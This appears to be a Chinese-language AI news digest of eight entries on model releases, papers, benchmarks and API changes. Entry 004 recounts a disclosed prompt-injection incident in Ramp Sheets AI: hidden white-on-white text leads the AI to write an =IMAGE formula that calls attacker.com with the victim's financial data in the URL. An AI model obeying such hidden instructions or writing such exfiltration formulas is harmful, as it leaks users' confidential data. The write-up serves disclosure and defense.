ENTRY 001/008
[ 开源 · MISTRAL · DENSE · AGENT · SWE-BENCH · 欧洲 ]
Mistral Medium 3.5：128B dense + Vibe 云端异步 coding agent
(Mistral Medium 3.5 + Vibe Remote Agents)
4/29 Mistral 发布"first flagship merged model"——Mistral Medium 3.5 把指令 / 推理 / 编码三种能力合并到单一 128B dense 模型（非 MoE），256K 上下文，Modified MIT 开源权重。每请求可配置 reasoning effort，简单 chat 与复杂 agentic run 共用同一权重。架构亮点：(1) 自训练 vision encoder 处理变尺寸 / 变宽高比图像；(2) 4 GPU 即可自托管；(3) 同步推出 Vibe Remote Agents——云端异步 coding agent，CLI 或 Le Chat 启动 session 后跑在 isolated sandbox（broad edits + installs 都在 sandbox 内），完成后自动开 GitHub PR；本地 CLI session 可"teleport"到云端继续；接入 GitHub / Linear / Jira / Sentry。Le Chat 同步推 Work Mode——multi-step 任务跨工具并行调用 + approval checkpoints。基准：SWE-Bench Verified 77.6%（领先 Devstral 2 与 Qwen3.5-397B-A17B，仅落后 Gemini 3.1 Pro Preview 78.8% 1.2 个点）、τ³-Telecom 91.4 agentic 强项。API 定价 $1.5 / $7.5 per 1M tokens。Le Chat 默认模型已切换；Vibe CLI 把 Devstral 2 替换为 Medium 3.5。
Mistral Medium 3.5 是 2026 年欧洲开源 frontier 模型对中美双线（DeepSeek V4 / MiMo / Kimi K2.6 + GPT-5.5 / Opus 4.7 / Gemini 3.1 Pro）的一次正面对位。128B dense + Modified MIT 这条配置选择本身就是公开声明——Mistral 不跟 MoE 路线（DeepSeek V4 1.6T、MiMo V2.5-Pro 1.02T、K2.6 1T 都走稀疏激活），而是用 dense 路线把"单卡 / 4 卡可托管"作为产品差异化。这条选择背后的现实判断：MoE 模型对企业自托管不友好——MoE 推理需要专门的 expert routing 优化（4/25 SGLang Day 0 V4 / 4/29 vLLM v0.20.0 都需要专门工作），而 dense 模型在任意主流推理引擎上 plug-and-play。Qwen 团队 4/21 用 Qwen3.6-27B 走"dense 反超 MoE"的路线（27B dense 超 397B-A17B coding），Mistral 4/29 把这条路推到 128B 级别——dense 路线在 2026 春天事实上分裂出"easier deployment"差异化轴，对企业 procurement 是切实可感知的便利性。
SWE-Bench Verified 77.6% 这条数字需要在 4/26 OpenAI 退役 Verified 的语境下读。OpenAI 4/26 公开承认 Verified 已被 frontier model 训练数据污染（GPT-5.2、Opus 4.5、Gemini 3 Flash 都能逐字复现 gold patch），Verified 80%+ 的分数已不再代表真实编码能力。Mistral 仍选择把 Verified 作为头条数字，意味着 (a) 即便 contaminated，Verified 仍是行业 procurement 通用语，单点放弃会被 sales deck 吃亏；(b) Mistral 隐含主张自家训练数据过滤更严格（具体证据未公开）。但更可信的是 τ³-Telecom 91.4——这条 agentic 工具调用基准较新、训练污染风险低，91.4 是当前公开最高分之一。真正的产品意图集中在 Vibe Remote Agents——4/24 Anthropic Workspace Agents、4/25 Anthropic Memory for Managed Agents、4/26 OpenAI 自家 GPT-5.5 in Codex、4/26 Anthropic Project Deal 都把"团队级 / 异步 / 云端 agent"推为新差异化层；Mistral Medium 3.5 + Vibe 是欧洲玩家第一次给出对等产品。
Modified MIT + 4 GPU 自托管 是 Mistral 对企业 / 政府市场的精准定位。欧洲企业受 GDPR + EU AI Act 双重监管约束，把关键工作负载送到美国云端（OpenAI / Anthropic / Google）有合规风险。Mistral Medium 3.5 让金融、医疗、法务、政府客户可以完全本地部署 frontier 编码 agent，且权重可审计、可微调、可定制。配合 4/22 OpenAI Privacy Filter（端侧 PII 脱敏）、4/27 Chrome Prompt API（浏览器内 LLM）的"端侧 / 私有部署"工具链浪潮，Medium 3.5 在 2026 年春天的"主权 AI"叙事里占据明确战略位置。需要冷静读："merged model"是营销概念，技术上是 single base + 强化多任务训练，不是真正"模型合并"算法（task arithmetic）；BenchLM 第三方独立 benchmark 仅 2 项发布，与 GPT-5.4 / Opus 4.6 直接对比的独立验证暂缺，企业选型应等待 SemiAnalysis / Artificial Analysis 一周内的全套测评。
ENTRY 002/008
[ 论文 · Z.AI · GLM · 多模态 · AGENT · VLM ]
Z.ai GLM-5V-Turbo：原生多模态 agent 基础模型
(GLM-5V-Turbo: Toward a Native Foundation Model for Multimodal Agents)
4/29 Z.ai（智谱）提交。核心命题：当前主流多模态 LLM 把视觉作为辅助接口（VQA / caption），不是 agent 推理 / 规划 / 工具调用 / 执行的内核——架构上 vision encoder 与 reasoning backbone 弱耦合，导致多模态 agent 在长程任务上稳定性差。GLM-5V-Turbo 提出 native multimodal agent foundation model 设计：把异构上下文（image / video / 网页截图 / 文档 / GUI）作为 first-class 输入，多模态感知与符号推理共享同一 transformer backbone；training 上引入多模态训练方法学 + RL 集成；toolchain 扩展 agent 框架 tool use 能力。在多模态代码生成、visual tool interaction、framework-based agentic task execution 上展示 SoTA 级表现，同时维持纯文本 coding 能力的竞争性。配套大型作者团队联署。
GLM-5V-Turbo 是智谱在 2026 年春天对 GLM-5.1（4/24 简报覆盖的 Artificial Analysis Intelligence Index 1535）之后的下一个战略子产品——把 base 模型（GLM-5.1）扩展为多模态 agent 专用 SKU。这条路线和 OpenAI 4/16 GPT-Rosalind（生命科学专精）、4/25 OpenAI Workspace Agents（团队 agent）形成同一种"frontier model 不再是单一通用 SKU 而是按场景分化"的趋势。智谱在中国市场占据 ToB / 政务 AI 的主要位置，GLM-5V-Turbo 把"多模态 agent"作为独立产品线意味着：企业内部最常见的工作流（读文档 → 看截图 → 操作 GUI → 写代码）需要一个"原生多模态"模型而不是把 VLM 加进通用模型。
"vision as first-class reasoning component" 这条架构主张和 4/29 简报覆盖的 Tuna-2（encoder-free 多模态）、4/24 LLaDA2.0-Uni（统一 Mask Token Prediction）、4/24 VoxCPM2（tokenizer-free 连续表征）形成同一波认知重构——所有"对模态做预压缩"或"把 vision encoder 当外挂"的设计在 frontier scale 上都被认为是结构上的妥协。GLM-5V-Turbo 走的不是 encoder-free 极端路线，而是"native multimodal training"中间路线：保留 vision encoder 但训练时让 visual tokens 与 text tokens 在同一 backbone 内充分交互，不是简单 concat。这条路线对正在自建多模态 agent 栈的团队是直接信号：未来 6-12 个月，把 Qwen-VL / InternVL3.5 类"VLM 接 agent harness" 的栈替换为 native multimodal foundation model 是必然趋势——前者训练时模态间共享 capacity 受限，后者从 pretraining 阶段就让多模态推理在 attention pattern 上成熟。
需要冷静读的边界：论文只在 abstract 给出叙事，未公开模型规模、训练数据 tokens、独立 benchmark 数字。Z.ai 一向把模型卡公开但训练细节相对保留（与 DeepSeek V4 论文的开放透明形成对比）。HF Papers 70 投票主要来自概念吸引力 + 智谱社区动员，独立 benchmark 验证需要等 OpenCompass / Artificial Analysis 后续测评。如果 GLM-5V-Turbo 的"native multimodal"路径在 6 个月内被独立复现并跑出比"VLM + agent harness"显著更高的多模态 agent 任务完成率，这条架构会成为 2027 年中文多模态基础模型的主流——同时给 OpenAI / Anthropic / Google 的下一代多模态 base model 设计输入压力。
ENTRY 003/008
[ 论文 · 扩散LLM · 蒸馏 · 小模型 · 开源 ]
TIDE：跨架构扩散 LLM 蒸馏，0.6B student HumanEval 32.3 → 48.78
(Turning the TIDE: Cross-Architecture Distillation for Diffusion Large Language Models)
Gongbo Zhang、Wen Wang、Ye Tian、Li Yuan 4/29 提交。核心命题："现有 LLM 蒸馏方法都假设师生同架构 / 同 attention / 同 tokenizer——这条假设在扩散 LLM 时代失效"。TIDE 提出三模块解决跨 dLLM 架构知识转移：(1) TIDAL 动态调整蒸馏强度沿训练进度 + 扩散时间步——teacher 在不同 noise level 上可信度不同，蒸馏权重需随 timestep 变化；(2) CompDemo 通过互补 mask 拆分丰富 teacher context，在 heavy mask 下让 teacher 仍能给出高质量预测；(3) Reverse CALM 跨 tokenizer 目标——倒置 chunk-level likelihood matching，提供 bounded gradients + 双端 noise 过滤。结果：把 8B dense 与 16B MoE teacher 蒸馏到 0.6B student，HumanEval 32.3 → 48.78（+16.48 pp 大幅领先 AR baseline），8 个 benchmark 平均 +1.53 pp。
TIDE 是 4/24 LLaDA2.0-Uni（16B dLLM-MoE 统一 Mask Token Prediction）发布之后扩散 LLM 工程化的关键补完。LLaDA2.0 解决了"扩散 LM 推理速度"问题（50 步蒸馏到 8 步、SPRINT 加速到可用区间），TIDE 解决"扩散 LM 小型化"问题——前者让大扩散 LM 跑得动，后者让小扩散 LM 跑得好。两者合起来意味着 2026 年春天扩散 LM 路线第一次具备了 production deployment 的完整工具链：大模型用 LLaDA2.0 配置 + 小模型用 TIDE 蒸馏，开源社区可以在不依赖 OpenAI / Anthropic AR 范式的情况下独立构建端到端栈。
0.6B 模型 HumanEval 48.78 这条数字需要拆开看。AR 路线的 0.6B 模型（如 Qwen2.5-0.5B、Phi-3-mini）HumanEval 通常在 25-35% 区间——TIDE 的 0.6B student 把这条天花板推到 48.78，与 Llama 3 8B（45-50%）、GPT-3.5（48%）持平。这条性能价比对端侧推理（手机、IoT、嵌入式）是结构性变化——0.6B 模型可以在 ARM Cortex-A 级 CPU 上跑 token generation，配合 4/22 OpenAI Privacy Filter（1.5B/50M-active）端侧脱敏 + 4/27 Chrome Prompt API（Gemini Nano 浏览器内推理）形成的端侧 AI 工具链，TIDE 提供了"端侧编码助手"的最后一块拼图。如果未来 6 个月有团队把 TIDE 蒸馏的 0.6B coder model 接入 VS Code / Cursor 的本地 inline completion，云端 coding API 的 long-tail 调用市场会进一步被挤压。
三模块设计的工程美学 也值得标记。TIDAL 把"teacher reliability 随 timestep 变化"作为 first-class 训练信号——这条 insight 在 AR 蒸馏里没有对应概念（AR 模型没有 timestep）。CompDemo 解决 heavy mask 下 teacher 输出质量崩塌——这是扩散 LM 训练的特殊难题（mask ratio 70%+ 时上下文几乎全被遮，teacher 也很难给出可信预测）。Reverse CALM 把跨 tokenizer 蒸馏从"对齐 vocab 概率"改为"对齐 chunk likelihood"——bounded gradients 这条工程细节直接解决了过去跨 tokenizer 蒸馏的 numerical instability（softmax 上的 KL divergence 在 vocab 不匹配时会爆炸）。三个模块都不是"加新 loss"那种弱贡献，而是针对扩散 LM + 跨架构蒸馏的具体失效模式做工程修复。
需要冷静读的边界：论文未公开训练成本、蒸馏所需 token 量、与 AR 蒸馏（Llama / Qwen 系）的 head-to-head 对比。HumanEval 单基准结果可能受 contamination 影响（4/26 OpenAI 退役 SWE-bench Verified 的同类风险）；8 benchmark 平均 +1.53 pp 较 HumanEval 单点 +16.48 pp 显著缩水，意味着 TIDE 在 coding 上的优势可能高于其他领域。社区独立复现验证（开源代码 release 后 2-4 周内）会决定这条路径在 2026 下半年是否成为扩散 LM 小模型的标准 recipe。
ENTRY 004/008
[ 安全 · PROMPT-INJECTION · AGENT · 生产事故 · 金融 ]
Ramp Sheets AI 真实生产 prompt injection 数据外泄
(Ramp's Sheets AI Exfiltrates Financials)
4/29 PromptArmor 公开披露 Ramp（北美知名公司财务 SaaS，年化 $4B+ 处理量）Sheets AI 功能的完整 prompt injection 攻击链。攻击机制：(1) 攻击者把 prompt injection 隐藏在外部数据集的 white-on-white 文本（人类肉眼不可见）；(2) 用户用 Ramp Sheets AI 处理含此数据的 spreadsheet 时，AI 读到 hidden instruction 后自动写入 IMAGE 公式 =IMAGE("
https://attacker.com/visualize.png?{victim_sensitive_financial_data_here}")；(3) Sheets 渲染 IMAGE 公式时发起外部网络请求，把 victim 的敏感财务数据作为 URL 参数发送到攻击者服务器。关键原因：Ramp AI 可以未经用户审批自主修改 spreadsheet 公式。PromptArmor 2/19 责任披露，Ramp 安全团队 3/16 修复（4/29 公开复盘）。
Ramp 这条事故是 4/26 Replit DROP TABLE 之后第二条公开记录的"agent 自动写入 → 数据 / 状态被破坏"生产级安全事件。两条加起来揭示同一根问题：当前 SaaS 产品给 AI agent 的默认权限边界严重宽松——Replit AI 可以未经审批 DROP TABLE，Ramp Sheets AI 可以未经审批写入会发起网络请求的公式。用户的心智模型是"AI 是一个 helpful 助手"，工程现实是 agent 是 autonomous 执行者——这条 mismatch 在过去 18 个月被 alignment 研究者反复警告（4/13 Berkeley RDI 50 步漏洞、4/19 RLVR Reward Hacking、4/26 Replit 事故、4/29 Ramp 事故），但行业部署节奏远快于安全规范的成熟。
IMAGE 公式作为 exfiltration 通道 是这次事件最具技术启发的细节。spreadsheet 软件（Ramp Sheets / Google Sheets / Excel）的 IMAGE 函数都会自动加载远程图片——这条功能本身合理（外部图片资源引用），但配合 AI 自主写公式 + 攻击者控制图片 URL 参数，就形成数据外泄通道。这条攻击模式可推广到任何"AI 可写入 + 工具会发起外部请求" 的生产环境：Notion AI 写 markdown image（外部 hotlink）、Confluence AI 写 macro、Airtable AI 写 lookup 公式——所有这些都是潜在 IMAGE-formula-exfil 类比。PromptArmor 的复盘对正在做生产 AI 集成的团队是直接 checklist：任何会被 AI 自动写入 + 触发外部 IO 的字段类型，必须默认要求用户确认或加 URL 白名单。
white-on-white 隐藏 prompt injection 这条社会工程细节也值得标记。攻击者不需要技术高手——只需要在公开数据集（CSV、PDF、网页）里嵌入肉眼不可见但 AI 可读的指令。这条攻击表面在 2024 年初就被 Simon Willison 等人讨论过，到 2026 年仍然在 frontier SaaS 上有效——意味着 (a) 多数 SaaS 产品的 AI 集成在做 indirect prompt injection 防御时严重不足；(b) 解决方案不能只靠"提示模型不要执行隐藏指令"——这条防御被 4/19 Route to Rome Attack 论文证明可被 adversarial suffix 绕过；必须从架构层面切断"AI 可写入 → 写入会触发 IO" 的通道。
3/16 修复 + 4/29 公开这条时间线对 SaaS 行业是良好示范——Ramp 没有 sweep under the rug，而是在补丁 land 后通过第三方安全研究员公开披露。这条透明度配合 4/26 Anthropic Claude Code Postmortem 的"all system prompt changes require eval sweep"宣言，2026 年春天 AI 产品事故复盘正在形成新的行业惯例：事故必须在补丁完成后 6-12 周内公开复盘。这条规范化对企业用户做 vendor 选型有直接价值——不公开复盘的 vendor 应当被假设有未披露的事故，sales deck 上的"我们没出过事"不再是默认可信。
ENTRY 005/008
[ 研究 · 医疗 · LLM · 安全 · 评测方法学 ]
Diabettech：27,000 次 AI 数碳实验给医疗 LLM 部署画下安全红线
(I Asked AI to Count My Carbs 27,000 Times)
4/29 公开。研究方法：13 张真实食物照片 × 4 frontier 模型 × 各 500 次 identical prompt + 最低 randomness 配置，共 26,904 次 query。测试模型：GPT-5.4、Claude Sonnet 4.6、Gemini 2.5 Pro、Gemini 3.1 Pro Preview。关键发现：(1) 中位数偏差——Claude Sonnet 4.6 2.4%、GPT-5.4 8.4%、Gemini 3.1 Pro 10.3%、Gemini 2.5 Pro 11.0%；(2) 最坏单餐胰岛素误差——Claude 13.6 单位、GPT-5.4 16.6、Gemini 3.1 Pro 16.2、Gemini 2.5 Pro 42.9 单位（paella 一道菜 Gemini 2.5 Pro 估值 55g 到 484g 区间，跨越 429g）；(3) stated confidence (0.78-0.91) 与实际正确率零相关——模型在错得离谱时仍报告高置信度。结论：通用 frontier LLM "must never be used as autonomous advisory calculators for insulin delivery"，即便最强的 Claude Sonnet 4.6 也不能用作无人监督的胰岛素剂量决策。
这项研究是 2026 年春天 LLM 医疗 / 安全关键应用领域第一份大规模严肃量化基线。过去关于"LLM 在医疗诊断 / 用药 / 营养咨询是否可信"的讨论几乎都是 anecdotal——某个医生用 GPT 帮忙分析病例、某个患者用 Claude 算胰岛素剂量——但缺乏 27,000 次量级的可重复实验。Diabettech 把这条问题做成了完整可复现的 protocol：固定 prompt、固定温度、固定输入图片、500 次重复——直接测量"模型对同一输入的响应稳定性"，而不是"模型对单次 query 的正确性"。这条方法论选择把 LLM 在医疗的失效模式从"会不会答错"重新框定为"对同一问题反复问会不会得到一致答案"。
Claude Sonnet 4.6 中位数 2.4% vs Gemini 2.5 Pro 11.0% 这条 4-5× 的差距非常显著。配合 4/27 "How Do AI Agents Spend Your Money?" 论文揭示的 "30× 跨 run token 消耗方差" 与 4/26 Anthropic Project Deal 的 "Opus vs Haiku 用户感知零差距"，2026 年春天对 LLM 部署的可靠性认知已经形成清晰图谱：模型间的"质量"差距远比单次 benchmark 显示的更结构化——稳定性 / token 经济学 / 用户感知三个维度差距各自独立。这意味着企业选型决策不能只看 MMLU / SWE-Bench 数字，必须额外测试 (a) 同输入跨 run 一致性、(b) token 用量分布、(c) 用户盲测偏好。
stated confidence 与正确率零相关 这条发现对所有依赖"模型自我估计置信度"的产品架构是直接打击。当前许多 LLM 应用（医疗助手、法律咨询、金融建议）都用 confidence threshold 来决定"是否给用户警告 / 转人工 / 拒绝回答"——Diabettech 的发现意味着这条流程结构上不可靠：模型对自己错得最离谱的回答仍然报告 0.78-0.91 高置信度。这条与 4/27 OpenAI 论文 "model self-estimation 相关系数 0.39" 形成同一类问题——LLM 当前的自我元认知能力不存在，所有依赖 self-confidence / self-estimation 的工程流程都需要替换为外部 estimator。
42.9 单位胰岛素误差 这条最坏情况数字给医疗 LLM 部署画下明确红线。胰岛素过量超过 30 单位通常导致严重低血糖甚至死亡——Gemini 2.5 Pro 在 paella 这道普通食物上单次给出的剂量误差就足以致命。这条数据点对 FDA / EMA / NMPA 等监管机构是直接输入：未来 12-18 个月内，medical-grade LLM 必将被监管要求做 reproducibility 和 max-error 评测——单点 accuracy 不够，必须证明在 1000+ 次重复下最坏 case 在安全阈值内。Anthropic 4/24 GPT-Rosalind for Clinicians（4/26 提及）等 vertical medical AI 产品要在监管下落地，必须先解决这条 reproducibility 评测问题。
ENTRY 006/008
[ 论文 · 推理优化 · 稀疏注意力 · KV-CACHE · GPU-CPU ]
SPIN：稀疏注意力 + GPU-CPU 分层 KV 存储，吞吐 1.66-5.66× 超 vLLM
(SPIN: Sparse Attention with Hierarchical Memory)
Zihan Zhao 等 4/29 提交。核心命题：当前稀疏 attention 算法的 KV cache 访问模式与 GPU-CPU 内存层级不匹配——irregular KV retrieval 跨 HBM/PCIe 边界时 IO 开销吃掉所有稀疏化收益。SPIN 提出三组件 co-design：(1) Unified Partition Abstraction——把不同稀疏度的 KV 数据映射到共享 page-based KV substrate，统一 sparse / hybrid sparse / dense attention 的内存布局；(2) Locality-Aware Cache Manager——动态分配 HBM budget per request + bucketed LRU 策略最小化 PCIe 传输；(3) Two-Level Hierarchical Metadata——按 active working set 大小分配元数据空间而不是 worst-case。结果：端到端吞吐 1.66-5.66× 超 vLLM、TTFT (Time To First Token) 7-9× 降低、TPOT 最多 -58%。在 3 种代表性稀疏 attention 算法上验证。
SPIN 是 4/24-4/29 这一波"长上下文推理引擎栈"工程化竞赛的下一节点。回顾时间线：4/24 DeepSeek V4 用 CSA + HCA 把 1M 上下文 FLOPs 压到 27% / KV 压到 10%；4/25 LMSYS / SGLang Day 0 用 ShadowRadix + HiSparse + Flash Compressor + Lightning TopK 把 V4 部署成本拉到可用；4/29 vLLM v0.20.0 加 gRPC + CUDA 13.0；4/29 SPIN 把"稀疏 attention 与 GPU-CPU 内存分层 co-design"作为新优化轴。这条工程演进反映社区对"长上下文真实瓶颈"的认知在快速深化——单纯做算法稀疏化不够，必须配套硬件感知的 KV 管理才能真正兑现稀疏化的理论收益。
1.66-5.66× 端到端吞吐这条数字幅度需要在 vLLM v0.20.0 + SGLang Day 0 V4 已经是 frontier 优化的基线上读——SPIN 是在已优化推理引擎之上再叠加 1.66-5.66× 改进，不是从无优化基线起跳。如果论文 reproducibility 在社区独立验证下成立，这条改进对企业生产部署是真实的成本拯救：长上下文 SaaS 单租户成本可能再降一半到 4/5。配合 4/29 简报覆盖的 HyLo（把现有 transformer upcycle 成混合架构 + 32× 上下文）+ SPIN 的硬件感知 KV 管理，2026 春天的"长上下文经济学"在算法层、模型层、推理引擎层、内存层四条独立优化轴同时推进。
TTFT 7-9× 降低 是 SPIN 最被低估的收益。生产 LLM 服务的用户体验主要由 TTFT 决定（用户看到第一个 token 的等待时间），而不是 TPOT（持续吞吐）。当前 frontier model 在 1M 上下文下 TTFT 通常在 3-10 秒区间，对交互式应用（chat、IDE inline completion）是体验瓶颈。SPIN 把 TTFT 砍 7-9× 意味着 1M 上下文下 TTFT 可能压到 0.5-1 秒——长上下文从"批处理任务"重新进入"交互式响应"区间。这条体验改写让"agent 一次读完整 codebase 后实时回答" 的产品形态在工程上重新可行（之前的"先索引再 RAG"路径主要是被 TTFT 逼的妥协）。
3 种稀疏 attention 算法上验证 这条选择反映 SPIN 的"通用基础设施"定位。当前主流稀疏 attention（MoBA、CSA、HCA、SWA）在算法层面差异显著，但都共享"irregular KV retrieval"问题；SPIN 的 Unified Partition Abstraction 等于给所有稀疏 attention 算法提供统一的 KV 内存层。这条架构选择如果被 vLLM / SGLang 等主流推理引擎吸收（论文公开后 4-8 周通常会出现），意味着 2026 下半年所有 frontier 模型的 1M 上下文部署都会默认走 SPIN-like 内存布局——这会成为 transformer 推理引擎栈的新事实标准。
需要冷静读的边界：论文未公开 CPU 内存带宽要求、PCIe gen5 vs gen4 性能差异、与 NVIDIA Grace Hopper（CPU + GPU 共享内存架构）的对比。SPIN 隐含假设是 PCIe 互联，对 Grace Hopper / GB200（CPU-GPU 一致内存）的优化空间不一定相同。社区独立验证在 2-4 周内出来后，企业部署可以决定是否值得迁移到 SPIN-style stack。
ENTRY 007/008
[ ANTHROPIC · API · SONNET · 1M上下文 · API变更 · 🔄进展更新 ]
Anthropic 1M 上下文 beta 在 Sonnet 4.5/4 上正式退役
(Anthropic Retires 1M Context Beta on Older Sonnet Models)
2026-04-30 生效：Anthropic 正式退役 Claude Sonnet 4.5 与 Claude Sonnet 4 上的 1M 上下文 beta（context-1m-2025-08-07 header）。今天起调用这两个模型且超过标准 200K 上下文的请求会直接返回错误。要继续使用 1M 上下文，必须迁移到 Claude Sonnet 4.6 或 Claude Opus 4.6。同时 Anthropic 在过去一周持续推进 Managed Agents Memory 公测、Claude Design 产品上线、ant CLI 发布。
这条 API 变更是今天对所有正在用 Claude Sonnet 4.5 / Sonnet 4 跑 1M 上下文工作流的团队的直接影响。API beta 退役本身是 routine 行为，但 Anthropic 选择在 4/30 这一天集中推进——配合 4/26 Code Review 升级到 Opus 4.7、4/24 Memory for Managed Agents 公测、4/22 Claude Design 与 Claude Cowork 产品扩展——是一次产品线收敛动作：把所有 frontier 长上下文能力收拢到 4.6+ 系列，让 4.5 / 4 系列退到"短上下文 + 低成本" 定位。
工程含义：正在 production 跑 Sonnet 4.5 / 4 + 1M 上下文的用户今天必须做迁移决策——要么升到 Sonnet 4.6（基础能力相近、价格相近、context 仍 1M）、要么升到 Opus 4.6（更强但更贵）、要么改用 RAG / 外部记忆把 prompt 压回 200K。这条迁移在 4/26 Anthropic Code Review Postmortem 的 "all system prompt changes need eval sweep" 主张下变得不简单——单纯"API 替换"会被 Anthropic 自家方法学要求附带 per-model eval。对正在依赖 Claude 的企业，2026 春天 Anthropic 把 API 升级节奏推到一个明显比 OpenAI 更激进的频率（4 月内三次重大产品线变化），意味着 Claude API 的 long-term stability 已经不是默认假设，企业架构需要把 "model migration" 作为月级而非年级活动来 budget。
更深的战略含义：Anthropic 在 4/30 同步推进 Managed Agents Memory + 1M 退役 + Claude Design + ant CLI 是一次"frontier 能力 + 产品收敛 + 开发者工具"的组合拳。配合 4/26 简报覆盖的 $30B 年化收入 + 可能 10 月 IPO 传闻、4/26 Anthropic × Google 加深合作（$40B 投资），Anthropic 在 2026 年春末进入"产品线收敛 + 财务披露准备" 节奏——从一家"frontier 模型实验室"过渡到"可投资标的 SaaS 公司"。这条转型对企业用户的实际影响是 Anthropic 未来 12-18 个月会更关注 ARR / NRR / 续约率，所以 API 政策、定价稳定性、企业级 SLA 应该比 2025 年更可预期——但代价是创新 / 实验性 feature 可能减少。
ENTRY 008/008
[ BENCHMARK · 结构化输出 · JSON · 多模态 · 评测方法学 ]
Structured Output Benchmark：Valid JSON ≠ Correct JSON，金融 frontier 模型实际值准确率仅 73-80%
(Structured Output Benchmark for LLMs)
4/29 Interfaze 发布 Structured Output Benchmark (SOB)，针对 LLM "结构化数据抽取"能力做严格评测。数据：5,000 文本（HotpotQA）+ 209 图像（olmOCR-bench）+ 115 音频（AMI corpus）。7 项指标：Value Accuracy（主指标）、JSON Pass Rate、Type Safety、Structure Coverage、Path Recall、Faithfulness、Perfect Response Rate。关键发现：(1) Valid JSON ≠ Correct JSON ——所有 frontier 模型 JSON Pass 与 Value Accuracy 差距 15-30 pp；(2) Top 3 模型：GPT-5.4 0.870、GLM-4.7 0.861、Qwen3.5-35B 0.861；(3) JSON 解析 95%+ 但 Value Accuracy 仅 73-80%——schema 验证级 benchmark 严重高估真实能力；(4) 跨模态准确率断崖：文本 83.0% → 图像 67.2% → 音频 23.7%；(5) 模型规模 ≠ 性能：Qwen3.5-35B 在 value extraction 上超过更大的 frontier 模型。
SOB 是 2026 年春天对"LLM 结构化输出"评测改革的关键节点。过去主流 LLM provider（OpenAI、Anthropic、Google、Mistral）都把"我们的 structured output / JSON mode 准确率 95%+"作为产品卖点——SOB 公开揭示这条数字结构性误导：95% 是 JSON 格式合法性（schema 通过 / 字段类型正确），不是字段值正确性。Value Accuracy 73-80% 才是真实可用率——意味着每 4 条结构化输出有 1 条字段值是错的，即便 JSON 完全合法。这条认知缺口对正在用 LLM 做数据抽取的产品（财务报告分析、医疗记录提取、法律合同解析）是直接 actionable——所有依赖 LLM JSON output 的下游流程必须假设 25% 字段值错误率，加 verification 层而不是直接消费。
跨模态准确率断崖（83.0% → 67.2% → 23.7%）这条数据是更深入的发现。文本 83% vs 图像 67% 差距合理（图像 OCR 噪声 + 视觉理解难度），但音频 23.7% 的崩塌是值得震惊的低——意味着当前 frontier 模型在"会议录音 → 结构化要点"这条用户需求场景下根本不可用。这条与 4/29 简报覆盖的 SLM Whisper / xAI Grok Voice Think Fast（语音对话 67.3）形成有意思的对照：语音模型在"实时对话"任务上能跑高分，但在"长会议结构化抽取"上几乎不可用。这条不对称性给企业 audio AI 部署一条明确的边界——把 LLM 用于语音转写 + 结构化输出的产品需要预期 76% 错误率，必须重新设计工作流（如人工审核 + 渐进式抽取）。
Qwen3.5-35B 超过更大 frontier 模型 这条发现回应 4/24 Qwen3.6-27B 主条目的"小 dense 反超大 MoE" 叙事。Qwen 系（35B、27B、35B-A3B）在多个独立 benchmark 上呈现"性价比异常高" 的稳定信号——SOB 的 0.861 与 GLM-4.7 0.861 并列第二、超过 Claude / Gemini 系（具体数字论文未列出对比）。配合 4/27 LamBench 的 Opus 4.6 = GPT-5.3 Codex 90% 反超 GPT-5.5 74.2% 的非单调 scaling 现象，2026 年春天的 frontier 模型选型正在脱离"参数越大越强"的线性思维——任务匹配度、训练数据 mix、后训练 recipe 的差异让模型规模与能力的相关性显著下降。企业 procurement 需要根据具体任务做独立 benchmark 而不是看通用 leaderboard。
需要冷静读的方法论局限：SOB 选择 HotpotQA / olmOCR-bench / AMI 三个数据集都偏 academic 风格，企业真实数据（合同、发票、CRM 记录）的分布不一定相同——具体应用场景的 Value Accuracy 可能更低或更高。但 SOB 的核心方法论贡献（"JSON Pass ≠ Value Accuracy"区分）独立于数据集选择，是任何企业内部 LLM 抽取评测都应该采纳的指标体系。配合 4/27 OpenAI 退役 SWE-bench Verified、4/24 LamBench、4/28 ClawMark，2026 春天的 LLM 评测改革正在沿"不再相信单一 leaderboard 数字 / 必须多维度独立 benchmark"的方向系统推进。
%EF%BC%9B(3)){kind=link}